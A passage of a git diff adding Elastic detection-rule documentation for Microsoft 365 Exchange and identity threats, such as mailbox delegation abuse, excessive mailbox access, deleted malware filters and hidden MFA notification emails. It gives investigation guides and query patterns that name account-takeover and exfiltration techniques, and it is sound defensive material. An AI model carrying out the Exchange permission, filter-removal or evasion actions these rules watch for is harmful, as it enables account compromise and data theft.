action was taken. +- `o365.audit.Parameters.AccessRights` or `GrantSendOnBehalfTo`: Confirm the exact permission granted. +- `@timestamp` and `event.ingested`: Review the timing of the delegation and whether it aligns with user activity or known business events. +- `source.ip` and `source.geo`: Validate that the source IP and location are expected for the admin or account performing the action. +- `user_agent.original`: If present, review to identify any automation, script, or unexpected interface used to assign the permissions. + + +*FullAccess (`Add-MailboxPermission`)* + +- `o365.audit.Parameters.Identity`: The mailbox being accessed. +- `o365.audit.Parameters.User`: The user granted FullAccess. +- Review for subsequent mailbox logins or message rules created by the grantee. + + +*SendAs (`Add-RecipientPermission`)* + +- `o365.audit.Parameters.Identity`: The account the grantee is allowed to impersonate. +- `o365.audit.Parameters.Trustee`: The user who was granted the ability to send as the identity. +- Search for recent messages sent "as" the identity and validate whether the activity was legitimate. + + +*SendOnBehalf (`Set-Mailbox`)* + +- `o365.audit.Parameters.GrantSendOnBehalfTo`: The user allowed to send on behalf of the mailbox owner. +- Check for outbound emails or meeting requests with "on behalf of" headers. + + +*False Positive Analysis* + + +- Delegation to Assistants: Executive or admin assistants often receive FullAccess or SendOnBehalf permissions. +- Shared Mailboxes: Teams or departments may share access to mailboxes for operational efficiency. +- Automated Admin Actions: System or service accounts may perform these actions as part of onboarding or automation. +- Project-Based Access: Temporary access granted for short-term collaboration. +- Maintain an allowlist of known delegation relationships. + + +*Response and Remediation* + + +If the delegation is determined to be unauthorized or suspicious: + +- Revoke the delegated permissions immediately to prevent further access. +- Reset credentials for the impacted accounts if compromise is suspected. +- Review mailbox rules and sent items to detect abuse. +- Alert impacted users and advise on suspicious activity to watch for. +- Audit audit logs around the delegation for additional attacker actions (e.g., MFA disablement, mailbox rule creation, login from foreign IPs). +- Review conditional access, role-based access control, and app permissions to reduce the attack surface. +- Harden delegation policies by requiring approvals, limiting delegation to specific groups, or implementing Just-in-Time (JIT) access for mailboxes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and +event.provider: "Exchange" and +event.outcome: "success" and +not o365.audit.UserType : (3 or 4) and +( + (event.action: "Add-MailboxPermission" and o365.audit.Parameters.AccessRights: "FullAccess") or + (event.action: "Add-RecipientPermission" and o365.audit.Parameters.AccessRights: "SendAs") or + (event.action: "Set-Mailbox" and o365.audit.Parameters.GrantSendOnBehalfTo: *) +) and +not user.id:( + "NT AUTHORITY\SYSTEM (Microsoft.Exchange.ServiceHost)" or + "NT AUTHORITY\SYSTEM (Microsoft.Exchange.AdminApi.NetCore)" or + "NT AUTHORITY\SYSTEM (w3wp)" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-items-accessed-excessively.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-items-accessed-excessively.asciidoc new file mode 100644 index 0000000000..66e653c169 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mailbox-items-accessed-excessively.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-m365-exchange-mailbox-items-accessed-excessively]] +=== M365 Exchange Mailbox Items Accessed Excessively + +Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/purview/audit-log-investigate-accounts#use-mailitemsaccessed-audit-records-for-forensic-investigations +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Exchange Mailbox Items Accessed Excessively* + + +Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold. + + +*Possible investigation steps* + +- Review `host.name` to identify the tenant where the mailbox access occurred. +- Review `o365.audit.UserId` or `o365.audit.MailboxOwnerUPN` to identify the user associated with the mailbox access. +- Examine `o365.audit.ExternalAccess` to determine if the mailbox access was performed by an external user or application. +- Check the geolocation data to identify the location from which the mailbox access occurred. Is this an expected location for the user? +- Check `o365.audit.ClientAppId` to identify the application used for mailbox access. Look for any unusual or unexpected applications but be aware that some legitimate applications may also trigger this rule if OAuth phishing was used. +- Review `o365.audit.Folders.Path` and `o365.audit.Folders.FolderItems.Id` to identify the specific folders and items accessed within the mailbox. Look for any sensitive or high-value folders that may indicate targeted access. +- For specific items accessed, examine `o365.audit.Folders.FolderItems.Id` to gather more context on the accessed mailbox items. +- User types can be identified by checking `o365.audit.UserType`. Review if the mailbox of the user is a member, admin or delegate. +- If Entra ID logs are available, checking the risk status via `azure.signinlogs.properties.risk_state` and `azure.signinlogs.properties.risk_level` can provide additional context on the user's risk status during the mailbox access. + + +*False positive analysis* + +- Legitimate users may access a large number of mailbox items in a short period, especially in environments with high email volume or during data migrations. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or groups. +- Automated processes or scripts that access mailbox items may also trigger this rule. If these processes are legitimate and necessary, consider adding exceptions for the specific applications or users involved. +- Users with high email activity, such as helpdesk or support roles, may trigger this rule due to their job responsibilities. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or groups. + + +*Response and remediation* + +- Investigate the user account associated with the excessive mailbox access to determine if it has been compromised or if the activity is expected behavior. +- If the mailbox access is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Review the user's recent sign-in activity and access patterns to identify any potential compromise or unauthorized access. +- If the user account is compromised, initiate a password reset and enforce multi-factor authentication (MFA) for the user. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. +- Examine how the mailbox access was performed. If it was done via a third-party application, review the permissions granted to that application and consider revoking them if they are not necessary. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.provider: "Exchange" and + event.action: "MailItemsAccessed" and + event.code: "ExchangeItemAggregated" and + ( + ( + o365.audit.OperationProperties.Name: "IsThrottled" and + o365.audit.OperationProperties.Value: "True" + ) or o365.audit.OperationCount >= 100 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-malware-filter-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-malware-filter-policy-deleted.asciidoc new file mode 100644 index 0000000000..c6b109f3fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-malware-filter-policy-deleted.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-21-m365-exchange-malware-filter-policy-deleted]] +=== M365 Exchange Malware Filter Policy Deleted + +Identifies when a malware filter policy has been deleted in Microsoft 365. A malware filter policy is used to alert administrators that an internal user sent a message that contained malware. This may indicate an account or machine compromise that would need to be investigated. Deletion of a malware filter policy may be done to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-malwarefilterpolicy?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Malware Filter Policy Deleted* + + +Microsoft 365 Exchange uses malware filter policies to detect and alert administrators about malware in emails, crucial for maintaining security. Adversaries may delete these policies to bypass detection, facilitating undetected malware distribution. The detection rule monitors audit logs for successful deletions of these policies, signaling potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-MalwareFilterPolicy" to identify the user account responsible for the deletion. +- Investigate the event.outcome to confirm the success of the policy deletion and gather additional context from related logs. +- Check the event.provider "Exchange" and event.category "web" to ensure the activity is consistent with expected administrative actions. +- Assess the recent activity of the identified user account for any unusual behavior or signs of compromise, such as unexpected login locations or times. +- Examine other security alerts or incidents involving the same user account or related systems to identify potential patterns or coordinated attacks. +- Verify if there are any recent changes in permissions or roles for the user account that could explain the ability to delete the malware filter policy. +- Coordinate with IT and security teams to determine if the deletion was authorized or if immediate remediation actions are necessary to restore security controls. + + +*False positive analysis* + + +- Administrative maintenance activities may trigger the rule if administrators are legitimately updating or removing outdated malware filter policies. To manage this, maintain a log of scheduled maintenance activities and cross-reference with alerts to verify legitimacy. +- Automated scripts or third-party tools used for policy management might inadvertently delete policies, leading to false positives. Ensure these tools are configured correctly and consider excluding their actions from the rule if they are verified as non-threatening. +- Changes in organizational policy or security strategy might necessitate the removal of certain malware filter policies. Document these changes and create exceptions in the detection rule for these specific actions to prevent unnecessary alerts. +- User error during policy management could result in accidental deletions. Implement additional verification steps or approval processes for policy deletions to reduce the likelihood of such errors triggering false positives. + + +*Response and remediation* + + +- Immediately isolate the affected account or system to prevent further unauthorized actions or malware distribution. +- Recreate the deleted malware filter policy to restore the email security posture and prevent further evasion attempts. +- Conduct a thorough review of recent audit logs to identify any other suspicious activities or policy changes that may indicate a broader compromise. +- Reset passwords and enforce multi-factor authentication for the affected account to secure access and prevent further unauthorized actions. +- Notify the security team and relevant stakeholders about the incident for awareness and potential escalation if further investigation reveals a larger threat. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities or attempts to bypass security measures. +- Review and update security policies and configurations to ensure they are robust against similar evasion tactics in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-MalwareFilterPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-malware-filter-rule-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-malware-filter-rule-modified.asciidoc new file mode 100644 index 0000000000..2c65702569 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-malware-filter-rule-modified.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-m365-exchange-malware-filter-rule-modified]] +=== M365 Exchange Malware Filter Rule Modified + +Identifies when a malware filter rule has been deleted or disabled in Microsoft 365. An adversary or insider threat may want to modify a malware filter rule to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-malwarefilterrule?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-malwarefilterrule?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Malware Filter Rule Modified* + + +Microsoft 365 Exchange uses malware filter rules to protect email systems by identifying and blocking malicious content. Adversaries may attempt to disable or remove these rules to bypass security measures and facilitate attacks. The detection rule monitors audit logs for successful actions that alter these rules, signaling potential defense evasion tactics. This helps security analysts quickly identify and respond to unauthorized modifications. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:o365.audit entries with event.provider:Exchange to confirm the occurrence of the rule modification. +- Identify the user account associated with the event.action:("Remove-MalwareFilterRule" or "Disable-MalwareFilterRule") and verify if the action was authorized or expected. +- Check the event.category:web logs for any related activities around the same timeframe to identify potential patterns or additional suspicious actions. +- Investigate the event.outcome:success to ensure that the modification was indeed successful and assess the impact on the organization's security posture. +- Correlate the identified actions with any recent security incidents or alerts to determine if this modification is part of a larger attack or threat campaign. +- Review the user's recent activity and access logs to identify any other unusual or unauthorized actions that may indicate compromised credentials or insider threat behavior. + + +*False positive analysis* + + +- Routine administrative changes to malware filter rules by authorized IT personnel can trigger alerts. To manage this, maintain a list of authorized users and their expected activities, and create exceptions for these users in the monitoring system. +- Scheduled maintenance or updates to Microsoft 365 configurations might involve temporary disabling of certain rules. Document these activities and adjust the monitoring system to recognize these as non-threatening. +- Automated scripts or third-party tools used for system management may perform actions that resemble rule modifications. Ensure these tools are properly documented and their actions are whitelisted if verified as safe. +- Changes made during incident response or troubleshooting can appear as rule modifications. Coordinate with the incident response team to log these activities and exclude them from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts and systems to prevent further unauthorized modifications to the malware filter rules. +- Re-enable or recreate the disabled or removed malware filter rules to restore the intended security posture of the Microsoft 365 environment. +- Conduct a thorough review of recent email traffic and logs to identify any potential malicious content that may have bypassed the filters during the period of rule modification. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised. +- Implement enhanced monitoring and alerting for any future attempts to modify malware filter rules, ensuring rapid detection and response. +- Review and update access controls and permissions for administrative actions within Microsoft 365 to limit the ability to modify security configurations to only essential personnel. +- Document the incident, including actions taken and lessons learned, to improve future response efforts and update incident response plans accordingly. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-MalwareFilterRule" or "Disable-MalwareFilterRule") and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-management-group-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-management-group-role-assigned.asciidoc new file mode 100644 index 0000000000..0eca07c67e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-management-group-role-assigned.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-m365-exchange-management-group-role-assigned]] +=== M365 Exchange Management Group Role Assigned + +Identifies when a new role is assigned to a management group in Microsoft 365. An adversary may attempt to add a role in order to maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-managementroleassignment?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/admin/add-users/about-admin-roles?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Management Group Role Assigned* + + +Microsoft 365 Exchange Management roles define permissions for managing Exchange environments. Adversaries may exploit this by assigning roles to unauthorized users, ensuring persistent access. The detection rule monitors successful role assignments within Exchange, flagging potential unauthorized changes that align with persistence tactics, thus aiding in identifying and mitigating unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event details to confirm the event.action is "New-ManagementRoleAssignment" and the event.outcome is "success" to ensure the alert is valid. +- Identify the user account associated with the role assignment by examining the event.dataset and event.provider fields, and verify if the account is authorized to make such changes. +- Check the history of role assignments for the identified user to determine if there are any patterns of unauthorized or suspicious activity. +- Investigate the specific management role that was assigned to understand its permissions and potential impact on the environment. +- Correlate this event with other recent activities from the same user or IP address to identify any additional suspicious behavior or anomalies. +- Consult with the relevant IT or security teams to verify if the role assignment was part of a legitimate administrative task or change request. + + +*False positive analysis* + + +- Routine administrative role assignments can trigger alerts. Regularly review and document legitimate role changes to differentiate them from unauthorized activities. +- Automated scripts or tools used for role management may cause false positives. Identify and whitelist these tools to prevent unnecessary alerts. +- Changes made during scheduled maintenance windows might be flagged. Establish a process to temporarily suppress alerts during these periods while ensuring post-maintenance reviews. +- Role assignments related to onboarding or offboarding processes can appear suspicious. Implement a verification step to confirm these changes align with HR records and expected activities. +- Frequent role changes by specific users with administrative privileges may not indicate malicious intent. Monitor these users' activities and establish a baseline to identify deviations from normal behavior. + + +*Response and remediation* + + +- Immediately revoke the newly assigned management role from the unauthorized user to prevent further unauthorized access or changes. +- Conduct a thorough review of recent activity logs for the affected account to identify any suspicious actions taken since the role assignment. +- Reset the credentials of the compromised account and enforce multi-factor authentication to enhance security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected account and similar high-privilege accounts to detect any further unauthorized attempts. +- Review and update access control policies to ensure that only authorized personnel can assign management roles in Microsoft 365. +- Consider conducting a security awareness session for administrators to reinforce the importance of monitoring and managing role assignments securely. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"New-ManagementRoleAssignment" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc new file mode 100644 index 0000000000..35928c8d13 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-m365-exchange-mfa-notification-email-deleted-or-moved]] +=== M365 Exchange MFA Notification Email Deleted or Moved + +Identifies when an MFA enrollment, registration, or security notification email is deleted or moved to deleted items in Microsoft 365 Exchange. Adversaries who compromise accounts and register their own MFA device often delete the notification emails to cover their tracks and prevent the legitimate user from noticing the unauthorized change. This technique is commonly observed in business email compromise (BEC) and account takeover attacks. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange MFA Notification Email Deleted or Moved* + + +This rule detects when emails containing MFA enrollment or security notification keywords are deleted or moved to deleted items. Attackers who gain access to an account and register their own MFA device will often immediately delete the notification email to prevent the legitimate user from detecting the compromise. + + +*Possible Investigation Steps* + + +- Identify the user whose mailbox had the email deleted and determine if they recently enrolled a new MFA device. +- Review Azure AD sign-in logs for the user around the time of the deletion for authentication anomalies. +- Check Azure AD audit logs for recent MFA method registrations or changes for this user. +- Review the source IP address and determine if it matches the user's typical access patterns. +- Look for other suspicious mailbox activities from the same session (inbox rules, email forwarding). +- Determine if the user was aware of and initiated the MFA enrollment that generated the notification. + + +*False Positive Analysis* + + +- Users may legitimately delete MFA notification emails after reviewing and confirming the enrollment. +- Some organizations have mailbox rules that automatically organize or delete notification emails. +- Consider creating exceptions for users who frequently manage MFA enrollments (IT help desk). + + +*Response and Remediation* + + +- If unauthorized MFA enrollment is confirmed, immediately remove the attacker's MFA method from the account. +- Revoke all active sessions and refresh tokens for the affected user. +- Reset the user's credentials and require reauthentication. +- Review inbox rules for any malicious forwarding or deletion rules. +- Check for data exfiltration or other malicious activities during the compromise window. +- Implement conditional access policies to restrict MFA registration to trusted locations/devices. + + +==== Rule query + + +[source, js] +---------------------------------- +web where data_stream.dataset == "o365.audit" and + event.provider == "Exchange" and + event.action in ("SoftDelete", "HardDelete", "MoveToDeletedItems") and + event.outcome == "success" and + ( + o365.audit.AffectedItems.Subject like~ ( + /* new + (mfa|multi-|factor|method|device|security) */ + "*new mfa*", "*new multi*", "*new factor*", "*new method*", "*new device*", "*new security*", + /* 2fa and 2-step */ + "*2fa*", "*2-step*", + /* mfa + action verbs */ + "*mfa enroll*", "*mfa register*", "*mfa added*", "*mfa change*", + "*mfa verify*", "*mfa update*", "*mfa activate*", "*mfa configure*", "*mfa setup*", + /* factor + action verbs */ + "*factor enroll*", "*factor register*", "*factor added*", "*factor change*", + "*factor verify*", "*factor update*", "*factor activate*", "*factor configure*", "*factor setup*", + /* method + action verbs */ + "*method enroll*", "*method register*", "*method added*", "*method change*", + "*method verify*", "*method update*", "*method activate*", "*method configure*", "*method setup*", + /* device + action verbs */ + "*device enroll*", "*device register*", "*device added*", "*device change*", + "*device verify*", "*device update*", "*device activate*", "*device configure*", "*device setup*", + /* security + action verbs */ + "*security enroll*", "*security register*", "*security added*", "*security change*", + "*security verify*", "*security update*", "*security activate*", "*security configure*", "*security setup*", + /* Additional security notifications */ + "*authenticator*", "*verification code*", "*security info*", "*security alert*" + ) and not + o365.audit.AffectedItems.Subject like~ ("*sign-in*", "*sign in*", "*log-in*", "*log in*", "*logon*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Mailbox Data +** ID: T1070.008 +** Reference URL: https://attack.mitre.org/techniques/T1070/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-global-administrator-role-assigned.asciidoc new file mode 100644 index 0000000000..f4221a8c9e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-global-administrator-role-assigned.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-m365-identity-global-administrator-role-assigned]] +=== M365 Identity Global Administrator Role Assigned + +Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator +* https://learn.microsoft.com/en-us/purview/audit-log-activities +* https://www.blackhat.com/us-24/briefings/schedule/#unoauthorized-a-technique-to-privilege-escalation-to-global-administrator-39231 + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Identity Global Administrator Role Assigned* + + +The Microsoft 365 Global Administrator role grants comprehensive administrative access across Entra ID and services such as Microsoft 365 Defender, Exchange, SharePoint, and Skype for Business. Adversaries who compromise an account may assign this role to themselves or other users to ensure persistent and privileged access. This rule identifies successful assignments of this role by inspecting audit logs from Azure Active Directory (Entra ID) where the role display name matches "Administrator." + + +*Possible investigation steps* + + +- Review the `user.id` and `user.name` fields to determine who performed the role assignment. Assess whether this user normally has permissions to modify high-privilege roles. +- Confirm the `event.action` is `"Add member to role."` and that the `Role_DisplayName.NewValue` is 